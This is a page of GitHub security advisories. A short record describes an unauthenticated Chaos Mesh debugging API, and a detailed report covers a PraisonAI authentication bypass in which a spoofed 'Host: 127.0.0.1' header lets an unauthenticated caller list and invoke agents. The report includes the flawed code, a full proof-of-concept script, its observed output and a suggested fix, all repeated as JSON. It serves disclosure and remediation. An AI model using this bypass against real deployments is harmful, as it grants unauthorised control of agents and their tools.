The Chaos Controller Manager in Chaos Mesh exposes a GraphQL debugging server without authentication to the entire Kubernetes cluster, which provides an API to kill arbitrary processes in any Kubernetes pod, leading to cluster-wide denial of service.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/chaos-mesh/chaos-mesh"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.7.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59358"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T21:06:36Z",
    "nvd_published_at": "2025-09-15T12:15:33Z",
    "severity": "HIGH"
  },
  "details": "The Chaos Controller Manager in Chaos Mesh exposes a GraphQL debugging server without authentication to the entire Kubernetes cluster, which provides an API to kill arbitrary processes in any Kubernetes pod, leading to cluster-wide denial of service.",
  "id": "GHSA-2gg8-85m5-8r2p",
  "modified": "2025-09-15T21:06:36Z",
  "published": "2025-09-15T12:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59358"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chaos-mesh/chaos-mesh/pull/4702"
    },
    {
      "type": "WEB",
      "url": "https://github.com/chaos-mesh/chaos-mesh/commit/67281c36f8068bf103149318cd0a466417213a28"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/chaos-mesh/chaos-mesh"
    },
    {
      "type": "WEB",
      "url": "https://jfrog.com/blog/chaotic-deputy-critical-vulnerabilities-in-chaos-mesh-lead-to-kubernetes-cluster-takeover"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Chaos Mesh\u0027s Chaos Controller Manager is Missing Authentication for Critical Function"
}

GHSA-2GPF-2492-Q9JH

Vulnerability from github – Published: 2026-10-08 19:36 – Updated: 2026-10-08 19:36
VLAI
Summary
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header
Details

Call API localhost-only authentication bypass via spoofed Host header

Summary

PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

Technical Details

The affected code is src/praisonai/praisonai/api/agent_invoke.py. verify_token() is used as a FastAPI dependency for the /api/v1/agents routes, including POST /api/v1/agents/{agent_id}/invoke. Current code no longer unconditionally skips authentication when PRAISONAI_CALL_AUTH=disabled; it tries to allow that opt-out only for localhost binding:

_LOCALHOST_HOSTS = frozenset({'127.0.0.1', 'localhost', '::1'})

def _bind_host_from_request(request: Request) -> str:
    host = getattr(getattr(request, 'url', None), 'hostname', None)
    return host or os.getenv('PRAISONAI_CALL_BIND_HOST', '127.0.0.1')

async def verify_token(request: Request, authorization: Optional[str] = Header(None)) -> None:
    if _call_auth_disabled():
        bind_host = _bind_host_from_request(request)
        if bind_host not in _LOCALHOST_HOSTS:
            raise HTTPException(
                status_code=503,
                detail="PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding",
            )
        return

The violated invariant is that "localhost binding" must be a server-owned startup or socket property. The implementation instead reads request.url.hostname, which is derived from the HTTP Host header for the current request. A remote caller can therefore send Host: 127.0.0.1 and make the disabled-auth guard believe the request is for a localhost-bound service.

The protected sink is agent execution. After verify_token() returns, invoke_agent() retrieves the registered agent and calls agent.astart(request.message) or agent.start(request.message). The same router is mounted by the PraisonAI serve feature, which imports praisonai.api.agent_invoke, includes agent_invoke.router, and registers YAML agents into the same registry.

This is not a default-configuration exposure claim. The deployment must enable PRAISONAI_CALL_AUTH=disabled and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.

PoV

the PoV builds an in-process FastAPI app with the real agent_invoke.router, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends Host: 127.0.0.1.

disabled_client = TestClient(app, base_url="http://external.example")

external_host = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "external.example"},
)
spoofed_localhost_list = disabled_client.get(
    "/api/v1/agents",
    headers={"host": "127.0.0.1"},
)
spoofed_localhost_invoke = disabled_client.post(
    "/api/v1/agents/pov-agent/invoke",
    headers={"host": "127.0.0.1"},
    json={"message": "host-header-bypass"},
)

Expected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects Host: external.example with 503, but accepts the spoofed localhost Host with 200 and invokes the stub agent.

The complete PoV script is in Appendix A.

PoC

Run from a PraisonAI checkout with the Appendix A script saved as pov_call_auth_host_spoof.py:

git checkout v4.6.62
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed v4.6.62 output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
  "repo_head": "2a855c470077c7d2e2479a575f7ef7f548d51c33",
  "spoofed_localhost_invoke_body": {
    "metadata": {
      "agent_id": "pov-agent",
      "message_length": 18,
      "response_length": 33
    },
    "result": "stub-agent-ran:host-header-bypass",
    "session_id": "default",
    "status": "success"
  },
  "stub_agent_calls": [
    "host-header-bypass"
  ],
  "vulnerable": true
}

Run the same script against current main:

git checkout 846568c7a5d8ce9e71e56e4c213f027c04909753
uv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .

Observed current-head output:

{
  "disabled_auth_external_host_status": 503,
  "disabled_auth_spoofed_localhost_invoke_status": 200,
  "disabled_auth_spoofed_localhost_list_status": 200,
  "fail_closed_without_token_status": 503,
  "repo_head": "846568c7a5d8ce9e71e56e4c213f027c04909753",
  "spoofed_localhost_invoke_body": {
    "metadata": {
      "agent_id": "pov-agent",
      "message_length": 18,
      "response_length": 33
    },
    "result": "stub-agent-ran:host-header-bypass",
    "session_id": "default",
    "status": "success"
  },
  "stub_agent_calls": [
    "host-header-bypass"
  ],
  "vulnerable": true
}

The negative controls are the first two status fields. With default authentication and no token, the API fails closed with 503. With PRAISONAI_CALL_AUTH=disabled, an ordinary external Host is also rejected with 503. Only the spoofed localhost Host passes the guard and reaches agent execution.

Impact

An unauthenticated caller who can reach a PraisonAI call/serve API with PRAISONAI_CALL_AUTH=disabled can bypass the intended localhost-only restriction by setting Host: 127.0.0.1. The PoV demonstrates both agent listing and direct invocation of a registered agent through /api/v1/agents/{agent_id}/invoke.

Impact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted /api/v1/agents API family.

Suggested CWE: CWE-287 Improper Authentication and CWE-346 Origin Validation Error, with CWE-306 Missing Authentication for Critical Function also applicable to the bypassed protected action.

Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.

Suggested Fix

Do not derive bind safety from Request.url, the HTTP Host header, or any request-header-derived value. If PRAISONAI_CALL_AUTH=disabled remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.

Consider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to 127.0.0.1, localhost, or ::1.

Regression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where PRAISONAI_CALL_AUTH=disabled, the modeled server configuration is non-loopback, and the request sends Host: 127.0.0.1; the expected result should be rejection before any agent list or invoke handler runs.

Affected Package/Versions

Affected package: praisonai on PyPI.

Confirmed affected:

  • v4.6.62 at 2a855c470077c7d2e2479a575f7ef7f548d51c33
  • current main at 846568c7a5d8ce9e71e56e4c213f027c04909753, version file still reporting 4.6.62

v4.6.60 had the older unconditional PRAISONAI_CALL_AUTH=disabled bypass and is covered by a different public advisory. This report is for the patched guard shape present in v4.6.62 and current main. If v4.6.61 contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.

Fixed version: unknown.

Advisory History

I checked the repository advisory list available through GitHub and found adjacent but distinct advisories:

  • GHSA-86qc-r5v2-v6x6: call server unauthenticated agent listing/invocation/deletion when CALL_SERVER_TOKEN is unset in older releases. Current code fails closed when no token is configured; this report requires the patched PRAISONAI_CALL_AUTH=disabled localhost guard and a spoofed Host header.
  • GHSA-8ccj-p46r-jwqq: PRAISONAI_CALL_AUTH=disabled unconditionally disabled authentication in older releases and is listed as patched in >= 4.6.61. This report shows v4.6.62 and current main are still bypassable through the new guard because the guard trusts request.url.hostname.
  • GHSA-vmf9-xx9w-86wx: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through praisonaiagents.mcp.ToolsMCPServer.run_sse(), /sse, and /messages/. That advisory affects praisonaiagents >= 0.6.0, < 1.6.58 and praisonai >= 3.10.0, < 4.6.58, with patches listed as praisonaiagents >= 1.6.59 and praisonai >= 4.6.59. This report targets a different package call path in praisonai.api.agent_invoke.verify_token() and /api/v1/agents/{agent_id}/invoke, confirmed in praisonai v4.6.62 and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires PRAISONAI_CALL_AUTH=disabled on the call/n8n agent API and bypasses its localhost-only opt-out guard with Host: 127.0.0.1; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.
  • GHSA-x8cv-xmq7-p8xp: AgentTeam.launch() unauthenticated API. That advisory covers praisonaiagents AgentTeam.launch() routes, not praisonai.api.agent_invoke.verify_token().
  • GHSA-5qw8-f2g9-ff29: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API's Host-derived guard input.

No advisory I found describes Host-header spoofing against the patched PRAISONAI_CALL_AUTH=disabled localhost guard in praisonai.api.agent_invoke.

References

  • src/praisonai/praisonai/api/agent_invoke.py
  • src/praisonai/praisonai/cli/features/serve.py
  • GHSA-86qc-r5v2-v6x6: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6
  • GHSA-8ccj-p46r-jwqq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq
  • GHSA-vmf9-xx9w-86wx: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx
  • GHSA-x8cv-xmq7-p8xp: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp
  • GHSA-5qw8-f2g9-ff29: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29

Appendix A - Full PoV Script

#!/usr/bin/env python3
"""PoV for PraisonAI call API Host-header localhost guard bypass."""

from __future__ import annotations

import importlib
import json
import os
import sys
from pathlib import Path
from typing import Any


def _repo_root() -> Path:
    if len(sys.argv) == 2:
        return Path(sys.argv[1]).resolve()
    return Path.cwd().resolve()


def _load_agent_invoke(repo_root: Path, auth_disabled: bool):
    os.environ.pop("CALL_SERVER_TOKEN", None)
    if auth_disabled:
        os.environ["PRAISONAI_CALL_AUTH"] = "disabled"
    else:
        os.environ.pop("PRAISONAI_CALL_AUTH", None)

    package_root = repo_root / "src" / "praisonai"
    if not package_root.exists():
        raise SystemExit(f"missing PraisonAI package root: {package_root}")
    package_root_s = str(package_root)
    if package_root_s not in sys.path:
        sys.path.insert(0, package_root_s)

    import praisonai.api.agent_invoke as agent_invoke

    agent_invoke = importlib.reload(agent_invoke)
    agent_invoke._agent_registry.clear()
    return agent_invoke


class StubAgent:
    def __init__(self) -> None:
        self.calls: list[str] = []

    def start(self, message: str) -> str:
        self.calls.append(message)
        return f"stub-agent-ran:{message}"


def _make_client(agent_invoke: Any):
    from fastapi import FastAPI
    from fastapi.testclient import TestClient

    app = FastAPI()
    app.include_router(agent_invoke.router)
    return TestClient(app, base_url="http://external.example")


def main() -> int:
    repo_root = _repo_root()

    fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)
    fail_closed_client = _make_client(fail_closed_mod)
    fail_closed = fail_closed_client.get(
        "/api/v1/agents",
        headers={"host": "127.0.0.1"},
    )

    disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)
    agent = StubAgent()
    disabled_mod.register_agent("pov-agent", agent)
    disabled_client = _make_client(disabled_mod)

    external_host = disabled_client.get(
        "/api/v1/agents",
        headers={"host": "external.example"},
    )
    spoofed_localhost_list = disabled_client.get(
        "/api/v1/agents",
        headers={"host": "127.0.0.1"},
    )
    spoofed_localhost_invoke = disabled_client.post(
        "/api/v1/agents/pov-agent/invoke",
        headers={"host": "127.0.0.1"},
        json={"message": "host-header-bypass"},
    )

    result = {
        "repo_head": _git(repo_root, "rev-parse", "HEAD"),
        "fail_closed_without_token_status": fail_closed.status_code,
        "disabled_auth_external_host_status": external_host.status_code,
        "disabled_auth_spoofed_localhost_list_status": spoofed_localhost_list.status_code,
        "disabled_auth_spoofed_localhost_invoke_status": spoofed_localhost_invoke.status_code,
        "spoofed_localhost_invoke_body": _safe_json(spoofed_localhost_invoke),
        "stub_agent_calls": agent.calls,
    }

    expected = (
        fail_closed.status_code == 503
        and external_host.status_code == 503
        and spoofed_localhost_list.status_code == 200
        and spoofed_localhost_invoke.status_code == 200
        and agent.calls == ["host-header-bypass"]
    )
    result["vulnerable"] = expected
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if expected else 1


def _safe_json(response: Any) -> Any:
    try:
        return response.json()
    except Exception:
        return response.text


def _git(repo_root: Path, *args: str) -> str:
    import subprocess

    return subprocess.check_output(
        ["git", "-C", str(repo_root), *args],
        text=True,
        stderr=subprocess.DEVNULL,
    ).strip()


if __name__ == "__main__":
    raise SystemExit(main())
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61435"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306",
      "CWE-346"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:36:26Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
  },
  "details": "# Call API localhost-only authentication bypass via spoofed Host header\n\n## Summary\n\nPraisonAI\u0027s patched `PRAISONAI_CALL_AUTH=disabled` safeguard for the n8n/call agent invocation API can be bypassed with a spoofed `Host: 127.0.0.1` header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.\n\n## Technical Details\n\nThe affected code is `src/praisonai/praisonai/api/agent_invoke.py`. `verify_token()` is used as a FastAPI dependency for the `/api/v1/agents` routes, including `POST /api/v1/agents/{agent_id}/invoke`. Current code no longer unconditionally skips authentication when `PRAISONAI_CALL_AUTH=disabled`; it tries to allow that opt-out only for localhost binding:\n\n```python\n_LOCALHOST_HOSTS = frozenset({\u0027127.0.0.1\u0027, \u0027localhost\u0027, \u0027::1\u0027})\n\ndef _bind_host_from_request(request: Request) -\u003e str:\n    host = getattr(getattr(request, \u0027url\u0027, None), \u0027hostname\u0027, None)\n    return host or os.getenv(\u0027PRAISONAI_CALL_BIND_HOST\u0027, \u0027127.0.0.1\u0027)\n\nasync def verify_token(request: Request, authorization: Optional[str] = Header(None)) -\u003e None:\n    if _call_auth_disabled():\n        bind_host = _bind_host_from_request(request)\n        if bind_host not in _LOCALHOST_HOSTS:\n            raise HTTPException(\n                status_code=503,\n                detail=\"PRAISONAI_CALL_AUTH=disabled is only permitted for localhost binding\",\n            )\n        return\n```\n\nThe violated invariant is that \"localhost binding\" must be a server-owned startup or socket property. The implementation instead reads `request.url.hostname`, which is derived from the HTTP Host header for the current request. A remote caller can therefore send `Host: 127.0.0.1` and make the disabled-auth guard believe the request is for a localhost-bound service.\n\nThe protected sink is agent execution. After `verify_token()` returns, `invoke_agent()` retrieves the registered agent and calls `agent.astart(request.message)` or `agent.start(request.message)`. The same router is mounted by the PraisonAI serve feature, which imports `praisonai.api.agent_invoke`, includes `agent_invoke.router`, and registers YAML agents into the same registry.\n\nThis is not a default-configuration exposure claim. The deployment must enable `PRAISONAI_CALL_AUTH=disabled` and the API must be reachable over the network. The issue is that the patched safeguard intended to constrain that opt-out to localhost can be bypassed by client-controlled request metadata.\n\n## PoV\n\nthe PoV builds an in-process FastAPI app with the real `agent_invoke.router`, registers a harmless stub agent, and sends three no-token requests. The important input is the final request: it is modeled as an external client but sends `Host: 127.0.0.1`.\n\n```python\ndisabled_client = TestClient(app, base_url=\"http://external.example\")\n\nexternal_host = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"external.example\"},\n)\nspoofed_localhost_list = disabled_client.get(\n    \"/api/v1/agents\",\n    headers={\"host\": \"127.0.0.1\"},\n)\nspoofed_localhost_invoke = disabled_client.post(\n    \"/api/v1/agents/pov-agent/invoke\",\n    headers={\"host\": \"127.0.0.1\"},\n    json={\"message\": \"host-header-bypass\"},\n)\n```\n\nExpected secure behavior is for both no-token requests in disabled-auth mode to be rejected when the service is not actually loopback-only. Actual behavior rejects `Host: external.example` with `503`, but accepts the spoofed localhost Host with `200` and invokes the stub agent.\n\nThe complete PoV script is in Appendix A.\n\n## PoC\n\nRun from a PraisonAI checkout with the Appendix A script saved as `pov_call_auth_host_spoof.py`:\n\n```bash\ngit checkout v4.6.62\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved `v4.6.62` output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"2a855c470077c7d2e2479a575f7ef7f548d51c33\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nRun the same script against current main:\n\n```bash\ngit checkout 846568c7a5d8ce9e71e56e4c213f027c04909753\nuv run --with fastapi --with httpx python pov_call_auth_host_spoof.py .\n```\n\nObserved current-head output:\n\n```json\n{\n  \"disabled_auth_external_host_status\": 503,\n  \"disabled_auth_spoofed_localhost_invoke_status\": 200,\n  \"disabled_auth_spoofed_localhost_list_status\": 200,\n  \"fail_closed_without_token_status\": 503,\n  \"repo_head\": \"846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"spoofed_localhost_invoke_body\": {\n    \"metadata\": {\n      \"agent_id\": \"pov-agent\",\n      \"message_length\": 18,\n      \"response_length\": 33\n    },\n    \"result\": \"stub-agent-ran:host-header-bypass\",\n    \"session_id\": \"default\",\n    \"status\": \"success\"\n  },\n  \"stub_agent_calls\": [\n    \"host-header-bypass\"\n  ],\n  \"vulnerable\": true\n}\n```\n\nThe negative controls are the first two status fields. With default authentication and no token, the API fails closed with `503`. With `PRAISONAI_CALL_AUTH=disabled`, an ordinary external Host is also rejected with `503`. Only the spoofed localhost Host passes the guard and reaches agent execution.\n\n## Impact\n\nAn unauthenticated caller who can reach a PraisonAI call/serve API with `PRAISONAI_CALL_AUTH=disabled` can bypass the intended localhost-only restriction by setting `Host: 127.0.0.1`. The PoV demonstrates both agent listing and direct invocation of a registered agent through `/api/v1/agents/{agent_id}/invoke`.\n\nImpact depends on the registered agents. In realistic deployments, agents may have tools, private context, workflow integrations, browser/file/API access, or paid model access. The same dependency also protects other agent registry routes, so the bypass undermines the access-control boundary for the mounted `/api/v1/agents` API family.\n\nSuggested CWE: `CWE-287` Improper Authentication and `CWE-346` Origin Validation Error, with `CWE-306` Missing Authentication for Critical Function also applicable to the bypassed protected action.\n\nSuggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (8.2). Confidentiality is scored Low because the PoV proves agent listing and invocation; higher confidentiality impact depends on deployed agents and their private context.\n\n## Suggested Fix\n\nDo not derive bind safety from `Request.url`, the HTTP Host header, or any request-header-derived value. If `PRAISONAI_CALL_AUTH=disabled` remains supported, decide whether it is allowed at startup from server-owned configuration, such as the actual configured bind host passed to Uvicorn or the serving command, and refuse to start in disabled-auth mode when the configured bind host is not loopback.\n\nConsider removing the HTTP auth opt-out entirely for network routes, or replacing it with an explicit local-development mode that is only available when the process is bound to `127.0.0.1`, `localhost`, or `::1`.\n\nRegression tests should exercise real ASGI requests rather than only synthetic request objects. Include a test where `PRAISONAI_CALL_AUTH=disabled`, the modeled server configuration is non-loopback, and the request sends `Host: 127.0.0.1`; the expected result should be rejection before any agent list or invoke handler runs.\n\n## Affected Package/Versions\n\nAffected package: `praisonai` on PyPI.\n\nConfirmed affected:\n\n- `v4.6.62` at `2a855c470077c7d2e2479a575f7ef7f548d51c33`\n- current main at `846568c7a5d8ce9e71e56e4c213f027c04909753`, version file still reporting `4.6.62`\n\n`v4.6.60` had the older unconditional `PRAISONAI_CALL_AUTH=disabled` bypass and is covered by a different public advisory. This report is for the patched guard shape present in `v4.6.62` and current main. If `v4.6.61` contains the same Host-derived guard, the affected lower bound likely starts there, but I could not confirm that tag locally.\n\nFixed version: unknown.\n\n## Advisory History\n\nI checked the repository advisory list available through GitHub and found adjacent but distinct advisories:\n\n- `GHSA-86qc-r5v2-v6x6`: call server unauthenticated agent listing/invocation/deletion when `CALL_SERVER_TOKEN` is unset in older releases. Current code fails closed when no token is configured; this report requires the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard and a spoofed Host header.\n- `GHSA-8ccj-p46r-jwqq`: `PRAISONAI_CALL_AUTH=disabled` unconditionally disabled authentication in older releases and is listed as patched in `\u003e= 4.6.61`. This report shows `v4.6.62` and current main are still bypassable through the new guard because the guard trusts `request.url.hostname`.\n- `GHSA-vmf9-xx9w-86wx`: legacy SSE MCP transport accepts attacker Host/Origin and exposes registered tools through `praisonaiagents.mcp.ToolsMCPServer.run_sse()`, `/sse`, and `/messages/`. That advisory affects `praisonaiagents \u003e= 0.6.0, \u003c 1.6.58` and `praisonai \u003e= 3.10.0, \u003c 4.6.58`, with patches listed as `praisonaiagents \u003e= 1.6.59` and `praisonai \u003e= 4.6.59`. This report targets a different package call path in `praisonai.api.agent_invoke.verify_token()` and `/api/v1/agents/{agent_id}/invoke`, confirmed in `praisonai v4.6.62` and current main after the GHSA-vmf9 patched range. The preconditions are also different: GHSA-vmf9 is a browser/DNS-rebinding style Host/Origin issue against a local or internal legacy SSE MCP server, while this report requires `PRAISONAI_CALL_AUTH=disabled` on the call/n8n agent API and bypasses its localhost-only opt-out guard with `Host: 127.0.0.1`; no browser Origin, DNS rebinding setup, SSE transport, or MCP tool server is involved.\n- `GHSA-x8cv-xmq7-p8xp`: `AgentTeam.launch()` unauthenticated API. That advisory covers `praisonaiagents` `AgentTeam.launch()` routes, not `praisonai.api.agent_invoke.verify_token()`.\n- `GHSA-5qw8-f2g9-ff29`: Recipe server Typer command bypasses a non-localhost authentication guard. That is a different server and CLI path. This report targets the call API\u0027s Host-derived guard input.\n\nNo advisory I found describes Host-header spoofing against the patched `PRAISONAI_CALL_AUTH=disabled` localhost guard in `praisonai.api.agent_invoke`.\n\n## References\n\n- `src/praisonai/praisonai/api/agent_invoke.py`\n- `src/praisonai/praisonai/cli/features/serve.py`\n- `GHSA-86qc-r5v2-v6x6`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-86qc-r5v2-v6x6\n- `GHSA-8ccj-p46r-jwqq`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-8ccj-p46r-jwqq\n- `GHSA-vmf9-xx9w-86wx`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmf9-xx9w-86wx\n- `GHSA-x8cv-xmq7-p8xp`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x8cv-xmq7-p8xp\n- `GHSA-5qw8-f2g9-ff29`: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-5qw8-f2g9-ff29\n\n## Appendix A - Full PoV Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI call API Host-header localhost guard bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport importlib\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _repo_root() -\u003e Path:\n    if len(sys.argv) == 2:\n        return Path(sys.argv[1]).resolve()\n    return Path.cwd().resolve()\n\n\ndef _load_agent_invoke(repo_root: Path, auth_disabled: bool):\n    os.environ.pop(\"CALL_SERVER_TOKEN\", None)\n    if auth_disabled:\n        os.environ[\"PRAISONAI_CALL_AUTH\"] = \"disabled\"\n    else:\n        os.environ.pop(\"PRAISONAI_CALL_AUTH\", None)\n\n    package_root = repo_root / \"src\" / \"praisonai\"\n    if not package_root.exists():\n        raise SystemExit(f\"missing PraisonAI package root: {package_root}\")\n    package_root_s = str(package_root)\n    if package_root_s not in sys.path:\n        sys.path.insert(0, package_root_s)\n\n    import praisonai.api.agent_invoke as agent_invoke\n\n    agent_invoke = importlib.reload(agent_invoke)\n    agent_invoke._agent_registry.clear()\n    return agent_invoke\n\n\nclass StubAgent:\n    def __init__(self) -\u003e None:\n        self.calls: list[str] = []\n\n    def start(self, message: str) -\u003e str:\n        self.calls.append(message)\n        return f\"stub-agent-ran:{message}\"\n\n\ndef _make_client(agent_invoke: Any):\n    from fastapi import FastAPI\n    from fastapi.testclient import TestClient\n\n    app = FastAPI()\n    app.include_router(agent_invoke.router)\n    return TestClient(app, base_url=\"http://external.example\")\n\n\ndef main() -\u003e int:\n    repo_root = _repo_root()\n\n    fail_closed_mod = _load_agent_invoke(repo_root, auth_disabled=False)\n    fail_closed_client = _make_client(fail_closed_mod)\n    fail_closed = fail_closed_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"127.0.0.1\"},\n    )\n\n    disabled_mod = _load_agent_invoke(repo_root, auth_disabled=True)\n    agent = StubAgent()\n    disabled_mod.register_agent(\"pov-agent\", agent)\n    disabled_client = _make_client(disabled_mod)\n\n    external_host = disabled_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"external.example\"},\n    )\n    spoofed_localhost_list = disabled_client.get(\n        \"/api/v1/agents\",\n        headers={\"host\": \"127.0.0.1\"},\n    )\n    spoofed_localhost_invoke = disabled_client.post(\n        \"/api/v1/agents/pov-agent/invoke\",\n        headers={\"host\": \"127.0.0.1\"},\n        json={\"message\": \"host-header-bypass\"},\n    )\n\n    result = {\n        \"repo_head\": _git(repo_root, \"rev-parse\", \"HEAD\"),\n        \"fail_closed_without_token_status\": fail_closed.status_code,\n        \"disabled_auth_external_host_status\": external_host.status_code,\n        \"disabled_auth_spoofed_localhost_list_status\": spoofed_localhost_list.status_code,\n        \"disabled_auth_spoofed_localhost_invoke_status\": spoofed_localhost_invoke.status_code,\n        \"spoofed_localhost_invoke_body\": _safe_json(spoofed_localhost_invoke),\n        \"stub_agent_calls\": agent.calls,\n    }\n\n    expected = (\n        fail_closed.status_code == 503\n        and external_host.status_code == 503\n        and spoofed_localhost_list.status_code == 200\n        and spoofed_localhost_invoke.status_code == 200\n        and agent.calls == [\"host-header-bypass\"]\n    )\n    result[\"vulnerable\"] = expected\n    print(json.dumps(result, indent=2, sort_keys=True))\n    return 0 if expected else 1\n\n\ndef _safe_json(response: Any) -\u003e Any:\n    try:\n        return response.json()\n    except Exception:\n        return response.text\n\n\ndef _git(repo_root: Path, *args: str) -\u003e str:\n    import subprocess\n\n    return subprocess.check_output(\n        [\"git\", \"-C\", str(repo_root), *args],\n        text=True,\n        stderr=subprocess.DEVNULL,\n    ).strip()\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```",
  "id": "GHSA-2gpf-2492-q9jh",
  "modified": "2026-10-08T19:36:27Z",
  "published": "2026-10-08T19:36:26Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2gpf-2492-q9jh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61435"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62174"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/2a855c470077c7d2e2479a575f7ef7f548d51c33"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-before-authentication-bypass-via-host-header-spoofing"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Call API localhost-only authentication bypass via spoofed Host header"
}

Mitigation
Architecture and Design
